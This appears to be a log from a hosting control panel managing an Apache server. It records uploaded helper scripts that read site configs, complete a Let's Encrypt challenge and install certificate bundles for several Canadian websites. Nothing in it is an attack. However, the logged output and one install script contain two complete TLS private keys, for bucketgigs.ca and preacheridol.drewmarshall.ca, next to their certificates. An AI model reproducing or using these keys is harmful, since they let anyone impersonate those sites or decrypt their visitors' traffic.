port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:01:58:
PUT: /tmp/pkp397314
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/bucketgigs_www_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:01:58:
chmod 755 /tmp/pkp397314; /tmp/pkp397314; rm /tmp/pkp397314
2025-11-10 06:01:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 1379
<VirtualHost *:80>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_secure_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:01:58:
PUT: /tmp/pkp896182
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:01:58:
chmod 755 /tmp/pkp896182; /tmp/pkp896182; rm /tmp/pkp896182
2025-11-10 06:01:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt 5372
4f:3a:c8:0c:93:04:0a:7c:c7:7a:fc:89:05:45:21:49
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBqdi2Ias1/2PqtkeWABtSk9+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzI0WhcNMjYwMjA4MDUwMzIzWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
0fmAwmjAbtmLGhz2RFt0bz2Q6Jw/rNliFtZKxim0+dVfmDGiDMWCcuqQD6Y30CjP
iPfvtDcilZ+S4DuHCHFC2Ua2HmoACnrIaiv8cJK0Ga72f82/iKqGWobu03pXLkX2
/YldnI3AmCGhyDILOas/P/daKYdiDN22piN4ZZGc4eWroHBpGGIKlAFdjYdLcmzS
JyrBrTlSDI6gpc8iUuChfHUZhpfFuT6gVuZHLSCdHoB43e+LGIcLXpEXQVwD5mga
pilh47e67HAfaSrVYFHld92sIzA8A6aMkzMPPvTgeNTDDCAw0osKFR+tmhvx3sGX
rPf63PcILzenTXwmZKjVuQIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTVixREpgrSyLOnh0CK0BMbCThA+TAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI3LmNybDCCAQYGCisGAQQB1nkC
BAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
mmxbTcEAAAQDAEgwRgIhAI/3fMerS9g0c2nbKOp2Uv40b+KnFalC/IvcsUCik8nR
AiEA7ZkYCs64U5FZeIzD6l9yjDwoZRpfu4wO7kiro65MIbAAdwCWl2S/VViXrfdD
h2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZpsW1XfAAAEAwBIMEYCIQDiCHx8OFJC
5nbNHjPx4UvyoYZmO6POYct2dM800ZlvRQIhAM+n1mBzc2mkRRbmbwRk8CFtHWZC
iQwKAGOTmlH5s/MAMA0GCSqGSIb3DQEBCwUAA4IBAQCHHp6HD2Pq4eulyPvJ7ZYh
7oqJSREYygzgP1g4/W2p8rWLSSgw5wmcBG61sLZv4H0UG5A1E2JrUQeLA+FG6lim
H4zySoQWXeQeKVGrjeDmnzLTnZRgYbXXkZFiAZaVQHrpzqekhqbwHVYFVlcKSu0w
u3PAEeXc1AR/eQRE2hxX2rVBHv4tkAWsasgyvsYL/UKv3AcG7CPwQ51ctq9UljwW
KOVzJsf2FNVHA/MgsvAritt3+ZhCIs7fBKm/h3NH+pJ8yt84Wzlk7wC1CsTj+7d8
iRE+xmlpAchzmwcu3VtlwyzsIwdk/fDjtHZtahevDTKNOHFwVAIMqZRnJ6bgcxIb
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDR+YDCaMBu2Ysa
HPZEW3RvPZDonD+s2WIW1krGKbT51V+YMaIMxYJy6pAPpjfQKM+I9++0NyKVn5Lg
O4cIcULZRrYeagAKeshqK/xwkrQZrvZ/zb+IqoZahu7TelcuRfb9iV2cjcCYIaHI
Mgs5qz8/91oph2IM3bamI3hlkZzh5augcGkYYgqUAV2Nh0tybNInKsGtOVIMjqCl
zyJS4KF8dRmGl8W5PqBW5kctIJ0egHjd74sYhwtekRdBXAPmaBqmKWHjt7rscB9p
KtVgUeV33awjMDwDpoyTMw8+9OB41MMMIDDSiwoVH62aG/HewZes9/rc9wgvN6dN
fCZkqNW5AgMBAAECggEAOSx77/O/+i8IHlsmf2R7ptKXw47QE8u5VsiQ4bZ3jdOY
zQMuwdWB+LJ/+ZLj/a0vHXeNcH/WzfD+eEodMaJNdoY3jr6ENlZKfgZuHWUE3z1x
50jpz1fHb5zwKOtWE8Z/Q3gE4l0CxSnbOHzP66sCdPNwPICdpS01z7U20kk885Es
j2ikbfEDa7UMaFX7Mtu9KuKjIhin2QoWXxlhsMoua7GxMFsOPBTTIKnBrdo9ofK9
HkAnT0YRLVtQHtAkVp46DqRoXz3CWBjmvGcRuUWc/LCDjwcmP5rX/WwtETiJQ7mJ
wMc+OjpuVO5wGb1zPKezbQNDKtAA+K6p54EUMKfCkQKBgQD3CoBNSRZrKUoUAWe0
xwy1bXEX1d0i2A/A2ED7yVWZvzutGQmjq6tZR5NJ/9WnlKhFBv8iP6Jx61qnWmUC
5jK319JPgO/8KfHOLIsXOunkNxPApbyAlOf7yVl4mqo7/pUKH7v4GfOZlg8wi1EJ
lhyWZWpNFm+WfmXAy5dNuyjZ/QKBgQDZluHAN9OZ1yJrdIiMfHrlNnqOYyXt9wZk
hvaejSj5Vnp4CHFcfuQ99SjACnoQSmNP9Rq1CArEWiTBnSNJfkyz1S0nP+diLJ6r
XeiwaY7g0B/VQr01B96iWAdCIA7fASUW++Y5A/vAU0UmvKBmth4us8hDqKxQ1+rW
2pC2foypbQKBgHCC/9wzJVq4+1wRJ8JVxZv7tD4+0PBFpycVVsNV9v6G8g7sEE/S
p7+JsbNKKWyhb+HARgK7KKjpn+gIa2jensrMKKS8/I/EKrTT5KU3175wtzZORYPq
TZ2HHpCnIFEiqY5q1ZkxeJjClzhsuwO6slps5fUl+rx35K/iCY8FZp2hAoGBAIL2
GjgMIdLFNpVAVXNg9MMC0C7lJA4fEPzucn8pbRDtaNbYFgra4NsdtIIpjCBD9ZRJ
bOKqzXgy3U6fGn8Agn/2fa/S+ZwQSQvRgNy1G+bZvV8pRSIm82v42Z2GGA1G7iDw
Sjfk2uB9/e/7tfs7/9ySHqYCXnxmCJV6hYEhl93dAoGBAIymcgMQfMqqaHG1FOxU
3qMQVeJnn7eYknwBhXPxchsyetjGA7wIYXsXZi+FX9Uz+OU7q2lmiCbmxjj1hLWB
8sV4HJBBqLsJAMym4aMlf7OboOiz+39suiEqP+IRjRA18RhkmzyF8ykGe8TGIcZy
zUK4clt6uPz9wz+vlri8+FVb
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-10 06:01:58: Establishing a connection
2025-11-10 06:01:58: Establishing a connection
2025-11-10 06:01:58:
PUT: /tmp/pkp773086
#!/bin/bash
if [ -d "/var/www/drewmarshall_preacheridol/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:01:58:
chmod 755 /tmp/pkp773086; /tmp/pkp773086; rm /tmp/pkp773086
2025-11-10 06:01:58:
1
2025-11-10 06:01:59: Establishing a connection
2025-11-10 06:01:59:
PUT: /tmp/pkp296791
#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cat > LKb0--W8bs8lRYpUlO3HkwDN4quJl_VV_VILJ6T0fmc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LKb0--W8bs8lRYpUlO3HkwDN4quJl_VV_VILJ6T0fmc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LKb0--W8bs8lRYpUlO3HkwDN4quJl_VV_VILJ6T0fmc
2025-11-10 06:01:59:
chmod 755 /tmp/pkp296791; /tmp/pkp296791; rm /tmp/pkp296791
2025-11-10 06:01:59:
2025-11-10 06:02:03: Establishing a connection
2025-11-10 06:02:03:
PUT: /tmp/pkp701593
#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
rm LKb0--W8bs8lRYpUlO3HkwDN4quJl_VV_VILJ6T0fmc
2025-11-10 06:02:03:
chmod 755 /tmp/pkp701593; /tmp/pkp701593; rm /tmp/pkp701593
2025-11-10 06:02:03:
2025-11-10 06:02:03: Establishing a connection
2025-11-10 06:02:03:
PUT: /tmp/pkp285315
#!/bin/bash
temp_file=$(mktemp)
TARGET=dedbbb759062bdb197a5a897ec5601b7.crt
cat > $temp_file <<'endmsg'
19:92:55:d3:00:75:37:09:e6:ec:07:92:9e:8e:6e:ed
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBjQke0/hB1drBJsVQ2ZTdnB4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzMyWhcNMjYwMjA4MDUwMzMxWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAyzQDAIaPdCfOeVEBFDwxNClKXVSjCKYMrjHhGVoO3SVZ
E++kpSBGotkyvyodvvIgIg0NrOaPqwODSgqhu/G+cA1REK3+at+mKhUWC90tx4dr
yMjXqBZeocXGuxuzFZzwNjcQCzymjJvnnHszElQqKAXJ1SPuw1atzClVq/pYtGRz
iotdTnGQ2rKpXySAb7lub3qYcxmzLdMBcc8Gf2qxyPbb0F5+/uu3aiKcKpCR4naf
ZwjR3XV7F+N7I9jwiJhTZc6EqNMbcS2pSHeVZyZZGs/xHZ5B9DcY5LYqensZTv8Y
zWBab27xRlRsnAAAB9cX7CwoTsqhHfcLknUSZHciswIDAQABo4ICLTCCAikwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBTFyW2RHoXgx+J94nH806GOKLtkjjAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjEuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer
6v7VA8l9zfAAAAGabFttjwAABAMARzBFAiAosGt3E3fnADJ9VDZVAN2xJHsOxrOk
JMNsPoX+BBf+jgIhAMDjly+Ld+PLA+8fTwB/z10SA+ritW8vZ5KUITtgtMd0AHYA
DleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGabFttkAAABAMARzBF
AiEAijo6bL6e6MEswuvgUA6iaeJyFE2PmegPXhTTkhuJBcECIDQ/l3N94IrOX9UF
PPuqtIA0QeVMCFsVVU6X0gVRDgk1MA0GCSqGSIb3DQEBCwUAA4IBAQBc5mGZM6Qe
8Gsv0vBVv8x8wcWbBmUtkKQbs5q2tLRtwekK0s92WcKlK2JiJlB1ofsCJUWO70BG
26UP9AQmyYqZbi3Neg6DhRrT2A8v4uFwUv/9C1KWYAbpROymH8CDIyhRMkuoDsRR
z82whh6rkwCNvNFLMNp49uBpRvxvt0QjK3x8upe8Abo5RddhtiNkgvwhlsnjU7Fq
slq9m/t3hSbLotx0spNKtbe8kDGGWAQxEfCZguYPNO7KnRkYbK1zbDTcK1pgEsVc
c5ez+ds/wGgfGtLeDqak39surlFgoKL5aUQi1vQ+HEH2c7fTdPTPdejW5EQ4g23z
0TFl7PCQA+TX
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDLNAMAho90J855
UQEUPDE0KUpdVKMIpgyuMeEZWg7dJVkT76SlIEai2TK/Kh2+8iAiDQ2s5o+rA4NK
CqG78b5wDVEQrf5q36YqFRYL3S3Hh2vIyNeoFl6hxca7G7MVnPA2NxALPKaMm+ec
ezMSVCooBcnVI+7DVq3MKVWr+li0ZHOKi11OcZDasqlfJIBvuW5vephzGbMt0wFx
zwZ/arHI9tvQXn7+67dqIpwqkJHidp9nCNHddXsX43sj2PCImFNlzoSo0xtxLalI
d5VnJlkaz/EdnkH0Nxjktip6exlO/xjNYFpvbvFGVGycAAAH1xfsLChOyqEd9wuS
dRJkdyKzAgMBAAECggEAJzqHSdawYxA8QBdvSeTE6vj9rj7kqorD7+0ZM7e7Ht5S
8BJXirlMaavcrCMJUw+TPH+goDxyh+VJt0WOK6ZjyWYIvFuavi8m+QDRHME6UUbH
fB+p4n1PD5QK5ZxXWljN1umSY1j2HjcK4561IVi2OrvDVy50ralSLBPewjC2ZzyV
FZGZEZ1sP31vRYC/84HLYc7pSk669nUZge6zU1QUp93TaQRGOc8vvv3xg8Qno7ZZ
KJb8kRa9doWct5FUw6mnDImEKozWcY80Q9XLnDuAQ6fztAdFfLroBdb7m/6+K7Cw
hCKKlGgpkmkpVcN7YPbjlo/5NumYXPYhBWSNB4VlIQKBgQDvt/NpDjgbNaTM9Nej
+oyGvtpAsVpgpOV3EfoBhPedRxDQ8nfXQW5PLGKAx8oGNTzgrnE2RK1fQEp1yZXR
jskjlwo/LLf+995S0d9sClPsIQ5x32/JdI08HqtqB31L2dgIJTAU4BujZdf4IWyD
3ESnRcsMG3pD+WiJqAzlBPMqhQKBgQDZASiIddWgw9tNGXHmfRJhbOrnJoMUmE3v
kE722rwVpD8Ba7T52Q93AiXAio/tC453mZdCuk2Z6iaX0pKDJ305jn4BQSoQcmWj
nVIpzqK+k3LXI7x7fkeXUMk+z4jOdedyAY+PJtza5V4wrST8Ci469clHcVW4Yv0b
THgnTSzJ1wKBgA2PLyKDHmNTnnXFZ6kr0+UPSJMeNQmAakZY6vZJCiSIT4gyHts7
JT0vOockReYh/saKt3alXdUkctHEzEelNvVfZsH6CpJOfPHcUzHuR570o7eHNvCD
OjXrWjDOKaUvtkuHpveXUZjletjbMyMmQ2/ev8R4jWro4aPfsJMHu6VtAoGAYHYP
WnlmuMvXE/KXmulF3mDYGmAYLHN3UWJId5rLuKMGDs+d5uIB6djehzQQvkJA1hFE
F7lQ/XYEKcDEt+A53fflMxGQbTcszwoDl+nuleBdUBzmj86WbEDQ9Ea0fXITq63d
7rhLvFHxCJousoqj+jl/e255uDjoYdYgIvg/TIkCgYA9CqThRnOoYqbKdTEUQc8u
YCE/pq69kAyThpcbasCqeJpqbAiJyhgJ4ctiGVI6x8Wu4lXXG/D9fE8lWWkW4qEg
G+h5y9kpkkde5tLAhTnce+Lf+54B9r3nZmY+4KuFdJjY+uiRr/tV+VEjKGOKUAzu
vkIsJ5raAtDkM4zHXMEHng==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-10 06:02:03:
chmod 755 /tmp/pkp285315; /tmp/pkp285315; rm /tmp/pkp285315
2025-11-10 06:02:03:
dir=/etc/ssl/certs
2025-11-10 06:02:03:
PUT: /tmp/pkp493806
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-10 06:02:03:
chmod 755 /tmp/pkp493806; /tmp/pkp493806; rm /tmp/pkp493806
2025-11-10 06:02:03:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 52
<VirtualHost *:80>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
DocumentRoot /var/www/drewmarshall_preacheridol
